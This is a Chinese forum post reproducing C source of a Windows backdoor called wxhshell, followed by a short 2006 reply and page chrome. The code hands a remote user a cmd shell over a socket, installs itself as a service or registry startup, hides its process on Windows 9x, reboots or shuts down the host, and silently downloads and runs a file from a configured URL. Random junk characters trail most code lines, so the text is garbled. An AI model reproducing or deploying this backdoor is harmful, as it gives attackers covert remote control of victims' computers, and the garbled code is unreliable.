  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E'G>'cW;x  
  if(DownloadFile(cmd,wsh)) ||V:',#,W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kXr%73s  
  else +0 MKh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X d6y7s  
  } ThxrhQ q[+  
  else { g8Z14'Ke  
sFQ|lU"n  
    switch(cmd[0]) { 4B`Rz1QBy  
  l 5FQ!>IM  
  // 帮助 kR|y0V {K*  
  case '?': { [/G;XHL;?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9K|lU:,  
    break; 5WT\0]RUa  
  } j,XKu5w)Oi  
  // 安装 }H=OVbQor  
  case 'i': { +QX>:z  
    if(Install()) %5%Wo(W'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N+5 ^h(~  
    else =f!M=D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m+vEs,W.  
    break; `Tj}4f  
    } L])w-  
  // 卸载 >nQ yF  
  case 'r': { Gq/6{eRo\  
    if(Uninstall()) )*h~dx_cm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @'@6vC  
    else K*$#D1hG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); or}*tSKX  
    break; 4-_lf(# i  
    } 7-I>5 3@  
  // 显示 wxhshell 所在路径 Bq@wS\W>b}  
  case 'p': { \F~Cbj+'Nu  
    char svExeFile[MAX_PATH]; r%d 11[z  
    strcpy(svExeFile,"\n\r"); Q/)ok$A&  
      strcat(svExeFile,ExeFile); OPW"AB J  
        send(wsh,svExeFile,strlen(svExeFile),0); `aL|qyrq#  
    break; ~uadivli  
    } 493i*j5r)l  
  // 重启 nM-SDVFM  
  case 'b': { k&iDJt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W"(`n4hi3  
    if(Boot(REBOOT)) DA`sm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "H<#91^|  
    else { 2F @)nh  
    closesocket(wsh); '-33iG  
    ExitThread(0); :xS&Y\ry  
    } m,C,<I|'d  
    break; ^85n9a?8  
    } FK# E7 K  
  // 关机 ih |Ky+!  
  case 'd': { aGb. Lh9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  F'FZ?*a  
    if(Boot(SHUTDOWN)) ,,%:vK+V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c[_^bs>k  
    else { `(/saq*  
    closesocket(wsh); : 5<9/  
    ExitThread(0); 1]Q 2qs  
    } U!?gdX  
    break; ds;cfj[  
    } e ]o'i;I  
  // 获取shell Kt,yn A  
  case 's': { V!77YFen %  
    CmdShell(wsh); s^YTI\L \  
    closesocket(wsh); U?mf^'RE  
    ExitThread(0); )|y2Q  
    break; 1"&;1Ts  
  } x X/s1(P  
  // 退出 |\|)j>[i  
  case 'x': { M'zS7=F!:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {{ *]bGko  
    CloseIt(wsh); =lC;^&D-0/  
    break; 'nWs0iH.  
    } 3 t88AN=4  
  // 离开 )w2K&Zr0  
  case 'q': { 0w(T^G hZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \D U^idp#  
    closesocket(wsh); "WbVCT'i  
    WSACleanup(); PN"8 Y  
    exit(1); G/z\^Q  
    break; a=*ALd_&0  
        } .3&a{IxM]  
  } a,'Ncg  
  } z{pC7e5  
/X^3=-{8  
  // 提示信息 ihiuSF<NaQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g 6VD_  
} %x}&=zx0*1  
  } )?B~64N,+  
b-BM"~N'  
  return; _jTwiuMS-  
} ~llMrl7  
#~4{`]W6  
// shell模块句柄 b H"}w$!>r  
int CmdShell(SOCKET sock) x*h`VS(?6  
{ sB( `[5I  
STARTUPINFO si; h41$|lonU%  
ZeroMemory(&si,sizeof(si)); jF2[bzY4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7Aio`&^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }KA-t}8  
PROCESS_INFORMATION ProcessInfo; 9^PRX  
char cmdline[]="cmd"; j,=*WG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <AMb!?Obh  
  return 0; t=Z&eKDC  
} [A"H/Qztk  
,@Fgr(?'`>  
// 自身启动模式 +ze}0lrEL  
int StartFromService(void) }dX/Y /  
{ $ZI~8rI~  
typedef struct w%3Fg~Up  
{ hdd>&?p3  
  DWORD ExitStatus; OL=ET)Y  
  DWORD PebBaseAddress; D3S+LV  
  DWORD AffinityMask; k,,!P""  
  DWORD BasePriority; (0E U3w?]  
  ULONG UniqueProcessId; Ecxj9h,S  
  ULONG InheritedFromUniqueProcessId; wJ+U[a  
}   PROCESS_BASIC_INFORMATION; |N:MZ#};  
'e.q 7Jpd  
PROCNTQSIP NtQueryInformationProcess; A&<?   
':l"mkd+`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~`t%M?l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3ppuQ Q  
K??1,I  
  HANDLE             hProcess; J3;Tm~KJ_  
  PROCESS_BASIC_INFORMATION pbi; T3PX gL)o  
;>9OgO  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k)`$%[K8  
  if(NULL == hInst ) return 0; ?k{|Lk  
\F 3C=M@:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Gn]d;5P=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =/6p#d*0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +XEjXH5K  
=~J"kC  
  if (!NtQueryInformationProcess) return 0; b.#^sm//  
%_R$K#T^,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6nh]*/  
  if(!hProcess) return 0; QU:EY'2  
r4E`'o[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 79D=d'e A  
su&t7rJ  
  CloseHandle(hProcess); i90}Xyt  
^8:VWJM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UqN{JG:#.  
if(hProcess==NULL) return 0; QhsMd- v  
R'zu"I  
HMODULE hMod; -b cG[W3  
char procName[255]; %N )e91wC  
unsigned long cbNeeded;  ]nUR;8  
H+a~o=/cR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D!oZ?dGCo6  
:$=|7v  
  CloseHandle(hProcess); -'6<   
h40'@u^W  
if(strstr(procName,"services")) return 1; // 以服务启动 t9.,/o,  
! .AhzU1%Y  
  return 0; // 注册表启动 R :"+ #Sq  
} )!e3.C|V1W  
AH^e]<2-  
// 主模块 ABc)2"i:*  
int StartWxhshell(LPSTR lpCmdLine) Uo2+:p  
{ 6 }!Z"  
  SOCKET wsl; mzGjRl=O  
BOOL val=TRUE; 8lwFAiC8  
  int port=0; ahA{B1M)n  
  struct sockaddr_in door; |QVr `tE<  
^ Hg/P8q  
  if(wscfg.ws_autoins) Install(); PL@~Ys0  
87i"   
port=atoi(lpCmdLine); zOB !(R  
jv =EheD  
if(port<=0) port=wscfg.ws_port; 86%%n?"}  
["a"x>X&  
  WSADATA data; EUy(T1Cl&&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /v|Onq1Y4  
$Jp~\_X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y7z(&M@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _({@B`N}  
  door.sin_family = AF_INET; =A@>I0(7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @'i+ff\  
  door.sin_port = htons(port); ZIpD{>/  
%<} <'V0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E1  |<Pt  
closesocket(wsl); E9+HS  
return 1; cJDd0(tD!  
} ~~nqU pK?v  
l!?yu]Yon  
  if(listen(wsl,2) == INVALID_SOCKET) { rkDi+D6`q  
closesocket(wsl); T#EFXHPr  
return 1; (}smW_ `5  
} =gjDCx$|  
  Wxhshell(wsl); sN~\+_  
  WSACleanup(); M:|8]y@  
ez\eOH6  
return 0; a460|w6  
~y /!fnv  
} 4^*,jS-9g}  
oC*=JJe,  
// 以NT服务方式启动 V`#.7uUP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \X|sU:g  
{ %}3qR~;  
DWORD   status = 0; h3!$r~T!a:  
  DWORD   specificError = 0xfffffff; =\};it{u  
wL}l`fRB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3qaMO#{M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C <B<o[:H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n~.*1. P  
  serviceStatus.dwWin32ExitCode     = 0; ,Na^%A@TJ  
  serviceStatus.dwServiceSpecificExitCode = 0; 5Bjgr  
  serviceStatus.dwCheckPoint       = 0; &GhPvrxI?  
  serviceStatus.dwWaitHint       = 0; ZU{4lhe  
Ps4 ZFX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R>/ NE!q  
  if (hServiceStatusHandle==0) return; 0 1V^L}  
0w=R_C)s  
status = GetLastError(); Bv6 K$4  
  if (status!=NO_ERROR) ,7_4 z]jK  
{ z>m=h)9d~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "V& I^YSc>  
    serviceStatus.dwCheckPoint       = 0; *\G)z|^yx  
    serviceStatus.dwWaitHint       = 0; YA:nOvd@O  
    serviceStatus.dwWin32ExitCode     = status;  _; Y`  
    serviceStatus.dwServiceSpecificExitCode = specificError; Oy57$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5jB* fIz  
    return; wkUlrL/~  
  } p-GAe,2q  
#,d I$gY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "Gb1K9A im  
  serviceStatus.dwCheckPoint       = 0; Pe;Y1Qq>>  
  serviceStatus.dwWaitHint       = 0; _hu")os  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $za8"T*I  
} eWJ`$"z  
r|u MovnV  
// 处理NT服务事件,比如:启动、停止 v\tEVhm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P!G858V(  
{ G<|8?6bq#  
switch(fdwControl) Om;&_!i  
{ "VG+1r+]4  
case SERVICE_CONTROL_STOP: (QoI<j""  
  serviceStatus.dwWin32ExitCode = 0; EJ@p-}I!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9H-|FNz?c  
  serviceStatus.dwCheckPoint   = 0; ~Wo)?q8UY,  
  serviceStatus.dwWaitHint     = 0; 6 5N~0t  
  { F8:vDv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a2'^8;U*_  
  } y*pUlts<  
  return; aE;le{|!({  
case SERVICE_CONTROL_PAUSE: i0$Bx>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }XO K,Hw  
  break; eIRLNxt+v  
case SERVICE_CONTROL_CONTINUE: VXIP0p@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9l,a^@Y:  
  break; p2Zo  
case SERVICE_CONTROL_INTERROGATE: ~T&<CTh  
  break; S"wR%\NIp  
}; 6f')6X'x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ho##Z*O  
} Q8!) !r%  
r\qj!   
// 标准应用程序主函数 b2b^1{@h;v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) v\m ]A1  
{ qlL`jWJ  
\b%kf99  
// 获取操作系统版本 na9sm  
OsIsNt=GetOsVer(); [0"'T[ok  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d ,4]VE  
Ut2y;2)a  
  // 从命令行安装 ,lZB96r0  
  if(strpbrk(lpCmdLine,"iI")) Install(); Jn{OWw2  
]]Cb$$Td  
  // 下载执行文件 B!vmQR*1  
if(wscfg.ws_downexe) { \"X!2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z ?wU  
  WinExec(wscfg.ws_filenam,SW_HIDE); b0lq\9  
} U}[I   
:x tXQza"-  
if(!OsIsNt) { ZosP(Tdq  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?OkWe<:4  
HideProc(); -$\+' \  
StartWxhshell(lpCmdLine); .zi_[  
} zT!drq:x  
else ]H`1F1=  
  if(StartFromService()) &*+'>UEe5  
  // 以服务方式启动 bD/~eIcWL  
  StartServiceCtrlDispatcher(DispatchTable); mV3cp rRqv  
else 9WyAb3d'  
  // 普通方式启动 : Zlwp6  
  StartWxhshell(lpCmdLine); 9I}-[|`u  
wK?vPS  
return 0; 7@D@ucL  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八